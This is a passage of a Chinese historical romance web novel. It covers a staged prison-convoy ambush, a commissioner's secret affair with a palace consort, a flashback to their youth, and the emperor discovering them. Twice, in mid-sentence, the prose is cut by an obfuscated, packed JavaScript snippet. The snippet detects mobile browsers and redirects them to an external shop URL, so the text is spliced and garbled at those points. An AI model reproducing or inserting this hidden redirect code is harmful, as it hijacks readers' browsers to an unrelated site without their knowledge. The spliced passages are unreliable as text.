这群狗娘养的莽人,夜里连个厚衣服都不肯借他,今晚雪停,寒冷尤甚,若是不停下来,明早他就成野外的冻死骨了。 “秋,秋大人,就算到了圣上跟前,我最多是一个办案不力的罪名。您无凭无证,就不怕害我死在路上,上头治你个草菅人命的罪?右督查御史江知礼可是我的恩师,他定然会为我出头的!” 说到后面,秋淼已经骑马走到队伍前头了,章承不得不提高嗓门,大声地喊道。 秋淼“啧”了一声,一拉缰绳,折返回来,骑在马背上居高临下地看着囚车。 “章县尊,您还指望南直隶的人替您出头呐。实话告诉您,赣榆县苏掌柜的嘴可没您这么硬,按他招供的,逄县的刘、李掌柜,都已经被拿下。说来也有意思,不查不知道,一查吓一跳,这李掌柜有一个如花似玉的小女儿,居然嫁给了南直隶的户部尚书作继室。一个是低贱的商户女,一个是高坐明堂的六部堂官,这什么时候士与商都能成一家了。” 其实逄县远隔几百里,秋淼短短几天哪能查到这些。这都是之前稽川顺徐州的藤摸到的瓜,他仗着章承不知道,拿出来吓吓他。 秋淼忽然轻轻拍了一下自己的嘴,演得像模像样的:“瞧我跟您说这些做什么,那余尚书娶李氏的时候,不还请了您去喝喜酒的么,这南直隶的事,您肯定比我清楚多了。您说是不是?” 章承脸色大变。 秋淼嘴角一勾,欣赏着他的脸色:“您那些同僚恩师,也不知把这账算到谁身上了。您说得对,您这身罪无凭无证,其实锦衣卫奈您不得,等平安回京,那些大人物动动嘴,就能给您脱罪。怕就怕是,有人想不想您活着回京啊。” 这一席话,说得章承脸色惨白,滴水成冰的天气里,额头布满了密密麻麻的汗。 秋淼见好就收,去到前头,继续领队前行。 说来也巧,怕什么来什么。这天夜里,章承实在捱不过刺骨严寒,蜷缩在火堆旁还是发起了高热,迷糊中,他被地面传来的震动震醒,只见一刀兜头劈来,吓得尖叫一声,爆发出巨大的力量,蹬着两条腿飞速后退,在尚且潮湿的草地上留下两条深深的印子。 那刀去势不减,向前一送,一把砍断他脖子上的木枷。来人穿着黑衣蒙着面,一身血煞气,也不知有过多少刀下亡魂,压低声音道:“章大人别怕,小的奉命来救你。” 救他?!他如今身上根本没有重罪,救他何须劫囚!! 章承吓破了胆,没有木枷限制,翻身就爬了起来,屁滚尿流地往跟其他黑衣人战作一团的锦衣卫处跑去。亏他还能在混乱中一眼找到秋淼,哭喊道:“救我!!秋大人救我!!” 秋淼听到叫喊,竟当真出手把追在他后面的刺客拦下,他现下以一敌四,只仓促挡了两刀,便一吹口哨,不远处的锦衣卫边战边靠过来,替他分担些许。 趁此机会,秋淼把章承托上马,“抓紧!”自己骑了另一匹,一手抓着两根缰绳,狠抽马鞭,马儿吃痛,飞快地蹿出了包围圈,很快不见踪影。 说来也怪,没有一个黑衣人试图追上去。他们一消失,战成一团的两伙人忽然停了下来。 “他娘的,老仇,你刚是不是真想砍我!” “嘿嘿,哎哟我还是第一次知道,这刀真利。” “你削了我一撮头发!” “好啊你小子,报复我之前偷拿了你一点肉干是吧?” 其中一个锦衣卫发问:“诚哥,我们现在回去吗?” 蒙面人纷纷拉下脸上的布,其中一个——就是方才砍去章承木枷的那人,伸手一点:“你,你,还有老仇,老仇演技好,你们去追秋头儿,护着他们回赣榆。其他人换身衣服,我们要在廿五前乔装混进赣榆城里,潜伏不动。” “是。” 众锦衣卫井井有条,各行其事。 这段时间,冯矩一直深居简出,哪怕有人想要他命,也找不到机会。除夕晚上他会出门点火盆,与民同乐,这是唯一的破绽。 除夕夜里,悄悄折返回来的秋淼安顿好章承,留了两人看着他,带着其他锦衣卫潜伏在衙门四周,他们扮成普通百姓,衙门外头人山人海,他们混迹其中,就像一滴水混进河流一样简单。 而淮党果然没忍住,在这晚向朝廷钦差动了手。 秋淼先一刀救下冯矩,一声呼哨,锦衣卫们瞬间涌出,控制住局面。 安置好抓住的刺客,秋淼迫不及待地审问了一轮。等换下衣服,去到衙门花厅,只见冯钦差烤着火,喝着茶,身上还裹了一件不知道什么皮毛的氅衣驱寒。他一想到自己这一晚跑来跑去,惊险刺激,而这人老神在在,优哉游哉,顿时不平起来。 “什么茶?给老子喝一口!” 冯矩拎起火炉上的陶壶给他倒了一杯,用的是陶碗,秋淼这才发现他喝的不是茶,是酒。 “哪来的酒?” “晚宴剩下的。” “晚宴?你们还有晚宴?!”秋淼嫉妒得五官扭曲,“你知道我们这些天怎么过的吗!我们怕暴露连街都不太敢去,都啃的干粮!!” 冯矩忍不住错开他的视线,很快反应过来,又重新看向他,生硬地转移话题:“审出什么了吗?” 秋淼不理他,两口干完热酒,身上总算舒坦了些许。他酒碗一放,自觉劳苦功高,大爷似的一抬下巴,瓮声瓮气地道:“再来一碗。” 冯矩噙着笑,脾气好的出奇,殷勤伺候。 直喝完四碗酒,酒意上涌,秋大爷打了个嗝,才纡尊降贵地开了金口:“还有吃的么?” “厨房有些剩菜,李嫂回家守岁了,我去热给你。” “……算了,不必了,谈正事吧。”秋淼吃软怕硬,冯矩这么好说话,他反而过意不去,他倒也不饿,就是想折腾人。 要说正事,秋淼沉吟了一下,组织语言:“章承愿意招供。淮党不留他,他除了招供,没有门路了。这人怕死,吓一下什么都肯说。” “没有人不怕死。” “哦对,我都忘了,你当初也是因为怕死才活下来的。”秋淼这张嘴,什么都敢说,也没有什么褒贬之意,口吻自然到仿佛在谈论小事,而不是揭人伤疤。 所幸冯矩似乎也不介意。 “今晚的刺客,在我们不备之时有几个自尽了,只留下两个活口。嘴还硬着,得熬一熬。放心,这事儿我专业的,没过两天就能把他们嘴撬开。对了,今晚有些个百姓也受伤了。其中一个被人踩了肚子,伤得挺重的,我作主送到医馆去了,留了五两银子。” “今晚辛苦你了。” 县衙外头远远传来更鼓声。二人同时安静下来,侧耳倾听,片刻,秋淼喃喃:“启正四年了。我闺女八岁了。去年过年我就没在家里,还答应今年一定回家,谁料又不在……” 每逢佳节倍思亲。无人能免,不外如是。 二人又坐了会,闲谈了些许家常。主要是秋淼絮絮叨叨地诉说着对家人的念想,冯矩一边喝酒,一边听。等夜色更浓,酒也饮尽,冯矩扶着桌子,捞起脚边的竹篮站了起来。 秋淼这才看到这个篮子。 “这是什么?”他伸手掀开上头的麻布,看到里面挤满了的鸡蛋,一怔,“呃,你要去给我做菜吃吗?我其实刚刚逗你的,我不饿……” “不是给你的,这是乡民托我捎给薛固的。” “薛固是谁?”秋淼脑子转了一圈才反应过来,“哦那个师爷。” “是。你回去休息吧,我去一趟大牢。” “啧啧,那么个贪蠹,怎么会有人送他鸡蛋?” 冯矩沉默着。他无言以对,不知道要怎么回答。说实话,他有点迷茫。 他的迷茫与薛师爷无关,他不好奇薛师爷是个什么样的人。人性多面而复杂,他早就知道。薛师爷贪婪成性,不代表没有恻隐之心。 这一篮鸡蛋沉甸甸的,他拎在手上,无时无刻不在拷问自己:百姓们想要的究竟是什么?他们其实不在乎朝廷要事,也不在乎党派倾轧,他们甚至不在乎什么官盐私盐。他们在乎的,是更直接的,可以看到的恩惠。 昔年琼林宴上,状元冯矩曾发下宏愿:但愿众生皆得饱,不辞羸病卧残阳。 此路艰而远,他行到今天,可曾不忘初心,为百姓做下一星半点的恩惠? 这些云谲波诡风起云涌乔燕一概不知。她既不知冯矩此行为何,也不知那县令章承即将被送到哪里,更不知一夜之间的刺杀算计。她一觉睡到启正四年正月初一,因醉酒而有些头疼,起床时头晕眼花,浑身也没什么力气。 天又开始下雪。这几年一年冷似一年,冬长夏短,尤其是淮河以北,漫长的寒日没个尽头似的。年年路有冻死骨。也不知民间做了什么事,要遭这样的天谴。 她在县衙后院待了一整天,上午去书房翻出一本地理志,津津有味地看着,午时陪办公归来的冯矩吃了顿饭,下午睡了一觉,醒来时天已擦黑,睡得骨头都酥了。 晚上无论如何是睡不着了。 约莫三更天,衙门一片寂静,回家过年的帮工和下仆还没回来。乔燕在床上翻来覆去,终于一骨碌坐起来,摸黑出了门。 屋外积雪滢滢,十分亮堂,她走在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116335|193889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 廊下,小心翼翼地没有踩出声响,穿过抄手游廊,过月门,来到隔壁院子。只见西边厢房窗户上还映着火光,留下一道剪影,伏案不知在写什么。 她走过去,轻轻敲了敲门。 屋里窸窣的动静停下,冯矩喝问:“什么人?” 乔燕生怕他引来旁人,只好出声:“是我。” 脚步声由远及近,继而门开,乔燕飞速挤了进去,反手将门在身后关上。冯矩的手从她腰侧绕过,手臂烫得她发热。但他甚至没有碰到她,只是轻描淡写地将门栓扣牢。 冯矩没有后退,站在原地,几乎将她困在他和门扉中间。他们距离极尽,她仰着头,就能看到他深深凝望她的眼睛。 他的眼睛如此专注而深沉,仿佛有滚烫的暗流涌出,她看着,耳根不由发热,腿也软了。 冯矩没有问什么“这么晚了来做什么”,他与她心意相通,他最是知道她此时此刻的渴求。于是他一低头,如她所愿,吻住了她的嘴唇。 乔燕一下子沉沦在他的气息中,脑袋里只余一片浆糊。昨夜喝的酒仿佛此刻才蒸发上头。目眩神迷之际,乔燕冒出一个莫名其妙的念头:来之前该喝一碗醒酒汤的。 “影,唔,影子……”乔燕提醒。 冯矩动作一顿,抵着她额头,亲昵地将她碎发别在耳后,平息着呼吸,然后猛地拽住她的手腕,将她跌跌撞撞地拉向厢房。 灯熄灭之际,冯矩低声在她耳边说了句:“不要发出声音,夜里会有锦衣卫巡查。” 初二,衙门摆棚施粥,乔燕戴着帷帽前去帮忙。一忙就是七天。这次冯矩和秋淼抄了城里好几个富商,米粮源源不尽,全还给了百姓。 正月十三,听闻朝廷新任的县令官到了,乔燕没有见到,她只是听着冯矩的安排,径直从后院角门上了马车。 她对这些事全无兴趣,她只想每日无所事事,每夜可以与心上人厮磨。 新的县令是启正元年恩科进士,没有经历过当年承天门前的事,对冯矩十分客气,一直把人送到马车前。马车车帘风动,隐约露出个天青色的女子裙摆,新县官觉得有些奇怪,钦差办案怎么会带着女眷?问道:“车里是天使的家眷么?” 秋淼咳了一声,粗声粗气地帮冯矩解围:“与你无关。” 他可真怕冯大老爷脑子一热应承下来,日后这笔账摆到御前,在场的脑袋都不够砍的。 “是,是。” 新县令碍于锦衣卫的恶名,不敢再问了。 离开赣榆县后,一路走走停停。白日里乔燕基本就窝在马车内,烤着火盆,看看书。享受着冯矩无微不至的照顾。夜宿官驿,她会戴着帷帽下车,几乎从不露面。同行的锦衣卫对她十分好奇,有人状着胆子向秋淼打听过她的身份来历,被秋淼罚下马徒步,跟着车队跑了整整一天,差点没累死。从那之后,再没有人敢开口。马车里的夫人在锦衣卫中传得十分神秘。 正月末的一天,天已擦黑,车队却没有找驿馆停下。乔燕心下不解,撩起车帘一角往外看。呼啸的北风一下子透过缝隙吹进来,她不由打了个寒颤。 云层太厚,不见星月,外面黢黑一片,她挨了一顿冻,什么都没看见,不由撇了撇嘴。 坐在对面的冯矩取出火盆里的烤栗子,用厚布裹着捏在手里剥开,将滚烫的栗子肉放到她面前的碟子里,说道:“今夜不宿驿站,再过一会儿就要到泗州了,今夜入城找个好点的客栈给你洗漱一番。” “你怎么知道我在想什么?” 冯矩笑而不答。 乔燕用竹签扎着栗子肉吃下,又闲聊道:“前几日总见你写什么,今日没见。” 冯矩拍拍手上的灰,从随身的布袋里取出一本厚书,封皮用的较硬的简州纸,边角翻卷,可以看出书的主人常常阅读。 “《农经》?你在写这个?”乔燕也擦了擦手,接过翻了翻,才知自己猜错了,“你在给这本书写注。” “这书是前人总结的各地时令农术,有的地方过于佶屈聱牙,还有些笔误。但这是一本利万民的好书,我想加注,让它便于阅读。” 乔燕钦佩地看他两眼,将其小心放了回去,重新陷回了软垫中。 “这么晚了,还入得城么?该闭门了罢。” 冯矩垂着眼睫继续剥栗子,嘴里发出了佞臣的声音:“是闭门了。不过我是钦差,我让他们开城门他们就得开城门。” 刚说完,马车就停了下来,驱马靠近的秋淼正好听到奸佞的话,嘴角一抽,敲了敲车壁。 “钦差大老爷,城门确实关了,请您下车让他们开城门吧。” 冯矩倾身向前,乔燕以为他要吻过来,虽觉不合时宜,却还是期待地闭上了眼,耳边却听到一声轻笑,最后一颗栗子肉放到她唇边,她启唇含了下去。她睁开眼,看到冯大人抽走了她腰间掖着的绣帕,已经端坐回了原位,慢条斯理地擦着手。擦完手,十分自然地将绣帕往袖袋里一揣,下车去了。 乔燕:“……” 说实话,近来与冯矩相处久了,她愈发回忆起此人的真实性格。年少时他就常爱逗她,恶劣的很。是后来分开太久,求而不得,让她选择性地将一些气人的事都忘了! 53. 钟情 日有所思,夜有所梦。这天晚上,洗了个久违的热水澡,乔燕舒舒服服地躺下,然后梦到了少年往事。 那当真是很久远的故事了。 文景三十一年,乔燕跟着乔二夫人赴一场海棠宴。 京里有个侯夫人酷爱海棠,专门在一个陪嫁园子里种满了海棠,每年五月到七月,花开正好的时候,择一天办宴。 马车里,乔二夫人打量着乔燕,不发一言。 这是乔燕认祖归宗后,第一次跟着乔二夫人出门。回家的这半年里,她每天都在学习礼仪文化,虽然胸无点墨,但仅看优雅的外表已经能唬住人了。带出去赴宴也算差强人意吧。 她们母女关系本来就不算和睦,自然没有闲话可聊,直到快到地儿时,乔二夫人才开口提醒了一句:“等会见了人别忘了行礼,我不能一直陪着你,你得去和那些小娘子们玩,她们玩的东西,投壶行诗你都不会,人放机灵点,借口避暑更衣,躲开就行。别露了怯,你可是有个姑姑在宫里做贵妃,她们巴结着你呢。” 凭心而论,乔二夫人这个“母亲”做得已经够好了,乔燕乃外室所生,在府外没有教养得长到了十三岁才领回来。乔二夫人对她眼不见为净,但日常花销从不克扣,请的女先生也是京里有名望的。 是以,乔燕乖乖点头,把她的叮嘱放在了心上。 是以,入园后,乔燕趁人不备,偷偷找了个无人的院子躲了起来。 是以,冯二郎和同伴路过僻静之处,同伴喊他抬头看风筝,他却一眼看到了树冠丛里尖尖的双螺髻。 冯矩:“……” 这乔五娘莫非当真猫妖转世?怎么净往一些出人意料的地方钻。 “你看那风筝,蝴蝶那个是我幺妹缠着我做的……咦!你在看什么?” 同伴察觉到他的愣怔,顺着他的目光看去。 冯矩心里一跳,莫名不想让人发现她。忙一拐同伴,指着旁边墙头的垂丝海棠道:“那海棠开得漂亮,我想到了一阙诗,你听听……” 他余光瞥到,那对双螺髻晃了晃,小心翼翼地藏进了树丛里。 ……真可爱。 等树下的两个少年顺着回廊走远不见,乔燕才扒开树丛,仔细观察一番,踩着树干上的虬节下树。她没见过这种树,爬到一半踩破了一块树皮,登时有股刺鼻的味道弥漫开来。 这到底是什么树?怎么会有树这么难闻? 她迷茫地向脚底看去。不看还好,这一看,正好对着少年笑吟吟的眼睛,她呆若木鸡,手上一松,笔直地掉了下去。 “小心!!”少年也被她吓了一跳,脸上的戏谑变成了惊恐,本能地往后退了两步,意识到不对,忙举起双手接她。 一切发生在电光火石间,少年举起手的时候,她已经摔在了地上。好在不高,地上的泥土松软,除了屁股有些疼,脸上火辣辣的,别的没什么。 冯二郎忍着笑要拉他,她一把拍掉他的手,坐在地上大声道:“都怪你!不是你吓我,我根本不会掉下来!” 这一喊,愈发觉得委屈,与丢人现眼的羞愤夹杂在一起,豆大的泪珠子源源不断地滚下来。她哭得忘我,一时又想到入京后半年的生活:起得比鸡早,睡得比狗晚,每天都有数不尽的书要看、规矩要学,学不会要打手心,竹篾敲在手里火辣辣的,女先生也不知哪来的手劲。还见不到娘,他们不许阿娘到她的院子……泪水登时像开了闸的洪水,止都止不住。 冯二郎这下是真的傻眼了,蹲在旁边,掏出帕子给她擦眼泪,哄了半天,也不知道怎么回事,宛如火上浇油,他越低声下气地求饶,她哭得越伤心。 到最后,他实在不知道说什么,只能低声道:“这个院子后面有个水阁,按往年宴会流程,再过一会儿日头上来,他们要去水阁纳凉,会穿过这个院子。” 这句立竿见影,小姑娘像捏着开关似的,吸了吸鼻子,哭声立马止住了。 冯矩松了口气,站起身,笑道:“我知道有个地方没人,你跟我来。” 乔燕犹豫了一下,实在是怕又被那群大家闺秀拉过去你来我往,拍拍屁股站了起来。 冯矩自幼参加京中各种宴会,对这园子了如指掌,果然给她找了个无人的地方。那是一处假山群,顺着台阶爬上去才知别有洞天,里面有个人造山洞,一面临水,两处通风。水里养着五彩斑斓的鲤鱼,被人喂熟了,一见到人就摇摇尾巴围上来。 可惜他们没有带吃的,鲤鱼们献了半天殷勤,没吃到一口东西,一甩尾巴散走了。 山洞里还有一对桌凳,桌面刻了经纬,桌下暗格有两个棋盒。冯矩熟门熟路地把棋盒摸出来,“你会下围棋吗?” “我不会。” “那我教你。” “我才不学这个!”乔燕不理他,坐到水边。一对白净的小腿在水面晃荡,绣鞋就点在水面上。但凡水面再高一寸,就要浸湿绣鞋了。 她已经破罐子破摔了,根本不惧让冯二郎看到自己这副没规矩的样子——反正冯二郎还不知道她就是他未婚妻。 冯二郎还捏着棋子,愣了一下,放下棋子,走过去在她旁边坐下来。 乔燕瞥了他一眼,那眼神着实算不上友善。 “你对所有小娘子都这样吗?” “什么?” “离这么近,上前说话,一点分寸都不讲,”乔燕看他,活像在看一个放浪纨绔,“是不是只要长得好看的小娘子,你都这样。” 她可真不谦虚。 冯二郎微微一笑:“当然不是,我只是对着小姐你这样,我对小姐一见倾心。” “你!”她不喜反怒,“你有未婚妻了吧,你这样,置你未婚妻于何地?!” “那未婚妻我都没见过,不娶也罢。” “你!你……”乔燕又气又失望,这回却再也不想在他面前哭出来。 实话实说,冯二郎年少成名,芝兰玉树,谈吐有趣,很难不让不经世事的少女动心。第一面后,乔燕偶尔想起他的一言一笑,嘴角总忍不住上翘。 四哥曾偷偷塞给她一个西洋玩物,道是冯二郎送的,她宝贝得不得了,藏在妆奁下面,一个人的时候拿出来玩一玩。 但今天的冯二郎实在让她失望又伤心! 看到她眼神,冯矩意识到逗过头了,忙道:“我说笑的,我知道你是乔五娘。我从不和别的姑娘说这些话……对不住,是我冒犯了,我日后定会注意。” 他站起身,后退一步,犹豫片刻,行礼一叹:“今日唐突,是我之过,此处没有人,我,我先走了。你别怕,我会找丫鬟来给你领路。” 这其实才是冯子规平日的样子,也不知道为什么,一见到这乔五娘,他就变得不像自己了,总想逗她。 乔燕气鼓鼓的,故意不看他。 “我有个丫鬟,叫做宜婵,我偷跑出来的,她应当还在明月亭等我,你去找她来。” “好。” “……你等等!”乔燕慢腾腾地从腰间解下荷包,“你上次赠礼,我,我很喜欢,这是回礼。” 乔燕一手苏绣很是拿得出手,这荷包就是她亲手所绣,一支横梅,宜男宜女。 冯矩一怔,微微笑着看她,接过荷包,郑重地塞进怀里。 这次见面后没有多久,冯矩就随着一个老翰林外出游学,直到四年后才回来。那天从乔四那里听到冯矩要回来的消息,乔燕央着乔四带她出门去见他。 乔四拗不过她,只能冒着被家法伺候的风险带她偷偷出了门。 乔燕戴着帷帽,和乔四坐在回冯府必经之路的茶楼上,看到瘦高的年轻人头戴白巾,扶棺走来。 像是感应到了什么,行到茶楼下时,冯矩抬了起头。 四年的风霜,让少年脱胎换骨,不见青涩,看过来的眼神沉默又坚毅。他的眼底仿佛深埋着铁水,铿锵滚烫。让人目眩神迷。 乔燕惊呆了,几乎不敢相认。 就那么一瞬间的四目相对,乔燕忽然有一种感觉:从前他看她,眼眸清澈,只看得到她。可现在他的眼里放了万民,她好像只能占据一小部分了。 她忍不住抚住心口,唯闻心脏怦怦跳动。 冯矩显然认出了她,他停了片刻,笑了一下。 乔四郎站在妹妹身边,也看见了这一幕。冯矩的那一个微笑,也许不仅是对乔燕笑的,还有对他这个至交好友。 看着冯矩走远,乔四叹了口气,说道:“那是翰林院常学士,冯子规外出游学就跟着他,算是他文学上的老师。常学士因病去世,子规为人重情,心里怕是不好受。” 此后三年,冯矩为师戴孝,从不出门赴宴,乔燕失去了见他的机会。倒是偶尔,能从几个兄长那里听到他的消息。 他虽在守孝,却没有放下为学之心,听乔四说,冯家有意让冯矩在文景三十八年下场科考。他们的婚事,就定在那之后。 更偶尔的,逢年过节,乔四会给乔燕带冯矩送的礼物。乔燕小心翼翼地将它们收好。 昔年那个有些顽劣的少年的影子在时间里淡去,茶楼上的惊鸿一瞥在少女心底深深地扎了根,转眼即春。 有时她也会沮丧。冯二郎还记得她长什么样吗? 她更庆幸:这样优秀的人,是她未来的夫婿。 一天午后,宜婵从前院听来消息,冯二郎在府上和乔家兄弟一起做文章。她按捺了许久,实在忍不住,偷偷跑去前院书房。 可惜她到的时候几人已经散了,倒是桌上还零散地摆着几张文章。少女怀春根本没有理智,她鬼使神差地将其中写着冯矩名字一张藏了起来,带回了后院。 这是一篇制艺,乔燕看得头昏脑涨。但少年的字隽秀养眼,她又看得目不转睛,舍不得送回去,想着那样随便地摆着,应当不要了,于是心安理得地眛了下来。 还是好久之后,乔四无意中在她屋中看到,才哭笑不得地告诉她,那是书院老师布置的课业,冯矩好心借他们一阅,孰料第二天不见踪影,冯矩为此还挨了一顿骂。 乔燕心虚愧疚,将那纸还给乔四。此事避不开乔湛,毕竟是在乔湛书房里丢失的,无论如何也得告知一声。 于是乔燕挨了二哥一顿骂。翌日,又劳动两位兄长代她去冯府赔不是。 月余后,冯矩托乔四送来一柄折扇。乔燕打开扇子,不想从里头掉出一张裁得细窄的纸条。 乔四脸霎时黑了一半,眼疾手快,一把捞住,匆匆扫过,没觉出什么失礼之处,加上一旁的乔燕央求,便不情不愿地交给她。 薄薄一张泥金纸,写着两行蝇头小楷。 “五娘淑览:草率提笔,祈恕唐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116336|193889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 突。盖因桃枝横牖,色恒清昼。前情之事,尔兄倶陈,仆未曾置之于心,五娘但勿介怀。子规谨书。” 翻过来,背面还画着一支桃花,并一行小字:惟斯一萼,不共春瘦。 乔燕脸一下通红,心口砰砰直跳,简直爱不释手,要把这内敛又孟浪的情话看一遍又一遍。 乔四郎看着妹妹涨红的脸,才后知后觉地反应过来,原来背面还有字! 乔四郎一张脸黑如锅底,撸起袖子跑去书房,一副不死不休的架势。乔燕心里焦急,提着裙子跟上去,到书房门口时,恰听得冯矩不怕死地道:“……怎的被你瞧到了。你孤家寡人,是以不懂。” 乔四郎受不得刺激,一拳揍了下去。 …… 乔燕悠悠转醒,脑海里还回荡着美梦,唇角笑意恬然。 但是下一瞬,头疼欲裂,她慢半拍地意识到,可能是路途劳累,再加上前一晚洗澡受了寒,夜里发作出来。 余光里人影晃动,她吃力地转了下脑袋,发现是一个瘦小的女孩儿,和她初入京城时差不多大。小姑娘正在屋隅洗东西,很快拎着湿漉漉的布巾走了过来。 看到乔燕睁着眼,她先是一怔,露出个怯怯的神情,犹豫一瞬,还是走上前,把乔燕额头上滚烫的布巾换了下来。 冰凉的布巾放在额头上,乔燕舒服地叹了口气。 “你是谁?”乔燕哑着嗓子问。 “我,我是……这家客栈的老板娘是我姑姑,有个大人要找手脚麻利的丫鬟,姑姑让我来……”小姑娘看着干瘦,有些畏生,“我姓程,叫立春,小姐怎么顺口怎么喊便是。” 这年头,能给女儿起个正经名字,应当是比较富足的人家。这小姑娘言谈有条理,被养的不错。 “我不是小姐,我已经成家。” “是,是,夫人。” “那个找你来的大人呢?” “我不知道……我出去看看?” 乔燕点了点头,程立春一溜烟跑了出去。 不多时,程立春回转,推开门,却只她一人入内。门大敞着,外头的秋淼老老实实地说话:“高夫人,听闻钦差到来,泗州知州一大早就领着一班子人马亲自到了客栈,冯子规应邀随他们勤民去了。” 乔燕先是一惊,这地儿的官员未免消息太灵通了。转念一想,昨夜冯矩大张旗鼓地喊人开城门,人家不知情才奇怪,那知州能等到早上再来造访,也不知一整夜是否好眠。 “你怎么没跟着?” “有两个弟兄随行,不会有事的。您一早风寒发热,冯子规放心不下,让我留下来看顾您。这客栈的小丫头手脚麻利,也是他花钱找来的,照顾您。” 也不知是不是生病的原因,乔燕今日心里一直有些不安,她从没有一天像今日这般想要见到冯矩。可是想见的人见不到,乔燕索性让人买了本话本打发等待的时间。 黄昏时候,有人推门进来,乔燕看得入迷,随口吩咐:“立春,把灯挪过来一点,太黑了。” 来人端着烛台,放到床头的立柜上。 高大的影子随烛火晃动,在床上投下一片阴影。极淡的酒气弥漫开,乔燕放下话本,抬头,“怎么喝酒了?” “泗州知州庞闻宴请,不好推辞。”冯矩在床沿坐下。他沐浴过,头发湿漉漉地披在身后,身上一股皂香,酒味其实几乎闻不出来,也不知乔燕是什么鼻子。 冯矩担忧酒味冲着她,身形离远了些,只手覆上她额头,然后眉头微皱。 “烧还没退,怎么不歇着,看这个。” “本来也不算严重,我都喝了药,出了汗,几乎快好了。” “吃晚饭了吗?” “吃了。”乔燕索性把话本子一扔,拉住冯矩的手,一瞬不瞬地望着他,撒娇道:“我等你一天。” 冯矩回看进她的眼里。她的眼睛明亮,幽深,情欲翻涌。他不动声色地挪开眼,轻叹:“你病着呢……今日不行……” 自重逢后,冯矩对她有求必应,这还是第一次说“不行”。 乔燕附耳过去,在他耳边吐气:“我就要你,你摸摸,我当真等你一天了。” 男人喉结不可控制地滚动,然后站起了身。 “冯二郎!”乔燕不敢置信,怒不可遏,“你干什么去!” 冯矩脚步一顿,迟疑地回头,看到乔燕一手撑着床,表情委屈,泫然欲泣。 “你不听我的了么?你不要我了吗?” 明知这是她的哀兵之计,但是他的脚像生了根似的,再难往前一步。过了几息,他低声道:“我去看看门有没有栓好。” 这一晚的乔燕格外滚烫热情,她环着冯矩的脖子,突然说道:“昨晚我梦到了从前。我送你的那个梅花香囊,你还留着吗?” 自定亲后,逢年过节乔燕都会送一些绣品去冯府,冯矩却几乎没有思索,就知道她说的是哪个。 “原本是好好保存着的,但是抄家后,身上也藏不得东西。如果冯宅还封着,那应当还在我院子里,东边厢房有个三联柜,就放在最下面一层。” 乔燕心满意足地看着他:“从很久之前,我就喜欢你了。” 冯矩低头亲了亲她,不吝回应:“我也是。” 很久之前,他就以玩笑说过,他对她一见钟情。 54. 事发 翌日一早乔燕就醒了,她的病似乎大好,神清气爽。 冯矩不知何时走了。程立春在她屋子里候着,也不知为何,看到她醒的时候受了一惊,脸色苍白,格外战战兢兢,服侍她穿衣时,还把衣领的盘扣系错位了。 “这是怎么了?” 程立春摇摇头,哆哆嗦嗦地捧上一碗药,“夫,夫人请喝药。” 乔燕端过,喝了一口,只觉这药比前一日要更苦涩。她看着立春的神情,脸色一沉,将碗砰的一声搁在桌上。 “这不是风寒药!这是什么药?” 立春扑通跪了下来,伏在地上,抖抖索索说不出话。乔燕推开她,小跑两步,猛地推开门—— 只见客栈大门紧闭,满堂鸦雀无声,秋淼领着所有锦衣卫和冯矩,在楼下齐齐跪着。 而在人群正中,所有人跪拜的方向,有一人威严地坐在凳子上。他穿着一件玄色貂毛氅衣,衬得皮肤格外苍白,脸庞瘦削,眼窝深陷,别有一股阴沉。 听到动静,男人面无表情地抬头看来,满屋气氛凝滞,几乎让人喘不过气。 乔燕终于明白,脸唰的一下变白,扶着门框的手慢慢滑落,跪在地上。 “参见圣上。” 李稷负手起身,抬起头看向她所在的二楼,虽然动作是仰视,却如睥睨。 “唐直抒。”李稷漠然启口。 他身边的大太监躬着身,迈着碎步上楼,来到乔燕身前,垂头说道:“娘娘随奴婢入内。” 乔燕麻木地被他拽起来,退到屋里。程立春呆呆地杵在旁边,束手无措。民间的小丫头哪有宫里调教出的机敏,眼色都不会看,唐直抒不得不出声道:“你先出去。” “哎,哎!”小姑娘慌忙跑出去了,连门都忘了关。 唐直抒摇摇头,关上门。待回转,看到桌上还剩半碗药,轻声道:“娘娘,您糊涂啊。” 乔燕抬着脖子,面无表情。 她从未糊涂,也从不后悔。冷冰冰的皇宫,百年如一日的生活,每每回忆只有无边的窒息。她还年轻,就住进了那样的囚笼里。她受够了。这一切都是清醒下的选择,浮生偷欢,哪怕只有须臾,那绮丽也是千金不换。 唐直抒看出她的意思,不想在这时硬碰硬,无奈地叹了口气,好言相劝:“这碗药是圣上的意思。喝了药,咱就回宫去,过往一切,圣上不跟您计较。” 乔燕僵硬地转头,盯着他:“这是什么药?” “您不是猜到了么。”大太监神情怜悯。 乔燕死死咬住嘴唇,脸上毫无血色。是,她猜到了,这么问不过是心存侥幸。 李稷就这么明晃晃的,一见面,把一碗避子汤端到她跟前。他在羞辱她。不是皇帝羞辱太妃,而是握着权势的男人在羞辱女人。 他把她推到耻辱柱下,又施舍似的跟她说可以不计较,只要她乖乖听话。 他以什么身份呢?她的私情不可饶恕,那他呢? 乔燕看着药,面色几变,最后定格成一个讥诮的笑。唐直抒仿佛看出了什么,心里一惊,忙道:“娘娘,您可并非一人!回头是岸啊!” 唐直抒看得几乎要落下泪来。他接她入宫,看着她从胆怯又无畏的少女脱胎换骨。一步步走到今天这步……这又是何苦。 